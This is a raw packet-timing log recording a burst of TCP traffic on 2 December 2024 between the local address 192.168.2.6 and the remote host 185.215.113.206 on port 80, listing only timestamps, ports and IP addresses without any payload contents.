Dec 2, 2024 07:37:27.004084110 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.004102945 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.004889011 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.004933119 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.004947901 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.004988909 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.005985022 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.006038904 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.006175041 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.006217003 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.007019997 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.007072926 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.007148981 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.007244110 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.008152008 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.008224964 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.008433104 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.008501053 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.009160042 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.009215117 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.010236025 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.010251999 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.010318041 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.010318041 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.010335922 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.010382891 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.011408091 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.011509895 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.011672974 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.011735916 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.012393951 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.012484074 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.012587070 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.012635946 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.013438940 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.013516903 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.014362097 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.014429092 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.014534950 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.014552116 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.014600039 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.014600039 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.016052008 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.016139984 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.075783014 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.075838089 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.075916052 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.076170921 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.076210022 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.076270103 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.076376915 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.076423883 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.077390909 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.077471972 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.077625990 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.077675104 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.078373909 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.078433037 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.078520060 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.078584909 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.079479933 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.079549074 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.079621077 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.079667091 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.080539942 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.080604076 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.081038952 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.081108093 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.081592083 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.081631899 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.081758976 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.081809044 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.082664013 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.082742929 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.082798004 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.082859993 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.083726883 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.083816051 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.083838940 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.083904028 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.084908962 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.084969997 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.084991932 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.085050106 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.085911989 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.085972071 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.086462021 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.086529016 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.087079048 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.087150097 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.087733984 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.087806940 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.088046074 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.088099957 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.088282108 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.088335991 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.089114904 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.089157104 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.089329958 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.089385033 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.090169907 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.090230942 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.090418100 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.090543985 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.091249943 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.091299057 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.091342926 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.091342926 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.092307091 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.092367887 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.092371941 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.092417955 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.093413115 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.093478918 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.093930960 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.093986034 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.094532013 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.094556093 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.094624996 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.094624996 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.095588923 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.095606089 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.095662117 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.095662117 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.096551895 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.096601009 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.097409964 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.097486973 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.097755909 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.097774029 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.097826004 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.097826004 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.098715067 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.098839045 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.099791050 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.099807024 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.099836111 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.099848986 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.155422926 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.155554056 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.156464100 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.156666040 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.159077883 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.159095049 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.159110069 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.159125090 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.159138918 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.159143925 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.159168005 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.159195900 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.159245014 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.159245014 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.160223007 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.160275936 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.161098957 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.161115885 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.161158085 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.161158085 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.161237001 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.161295891 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.162391901 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.162456989 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.162791014 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.162853003 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.163247108 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.163260937 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.163310051 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.163322926 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.164294958 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.164369106 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.164483070 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.164556026 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.165323019 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.165390968 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.165640116 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.165695906 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.166579008 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.166690111 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.166708946 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.166759014 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.167530060 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.167588949 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.167648077 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.167716026 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.168760061 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.168821096 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.169143915 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.169218063 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.169918060 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.169991970 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.170041084 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.170092106 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.170664072 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.170726061 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.171086073 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.171174049 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.171833038 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.171880007 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.172173977 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.172238111 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.173134089 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.173202038 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.173432112 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.173491955 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.213716984 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.213812113 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.213834047 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.213877916 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.214165926 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.214181900 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.214226961 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.214226961 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.215383053 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.215461969 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.215483904 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.215548038 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.216429949 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.216451883 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.216504097 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.216504097 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.217622995 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.217643023 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.217689991 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.217689991 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.218674898 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.218755007 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.218934059 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.219013929 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.219793081 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.219811916 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.219911098 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.219911098 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.220607996 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.220669031 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.220956087 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.221008062 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.221756935 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.221821070 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.222829103 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.222893953 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.222912073 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.222928047 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.222959995 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.222970963 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.223977089 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.224070072 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.224634886 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.224648952 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.224661112 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.224699020 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.224728107 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.225382090 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.225441933 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.226201057 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.226218939 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.226315022 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.286325932 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.286370039 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.286444902 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.286444902 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.286767006 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.286813021 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.286851883 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.286851883 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.287941933 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.288002968 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.288801908 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.288865089 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.289261103 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.289277077 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.289328098 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.289345980 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.290967941 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.291069031 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.291208982 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.291224957 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.291239977 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.291281939 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.291281939 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.292175055 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.292243958 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.293095112 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.293174982 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.293292999 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.293308973 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.293348074 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.293360949 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.294400930 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.294414043 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.294476032 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.294476032 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.295670033 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.295684099 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.295785904 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.296688080 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.296749115 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.297355890 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.297408104 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.297535896 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.297548056 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.297595978 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.298675060 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.298688889 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.298727989 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.299927950 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.300014019 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.300326109 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.300390959 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.301589012 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.301603079 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.301719904 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.302367926 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.302380085 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.302436113 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.302436113 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.302436113 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.303183079 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.303235054 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.303246021 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.303301096 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.304008961 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.304020882 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.304110050 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.304964066 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.305067062 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.305514097 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.305624008 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.306090117 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.306144953 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.306643963 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.306691885 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.307212114 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.307265043 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.307717085 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.307810068 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.308516979 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.308532953 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.308630943 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.309279919 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.309294939 CET	80	49724	185.215.113.206	192.168.2.6
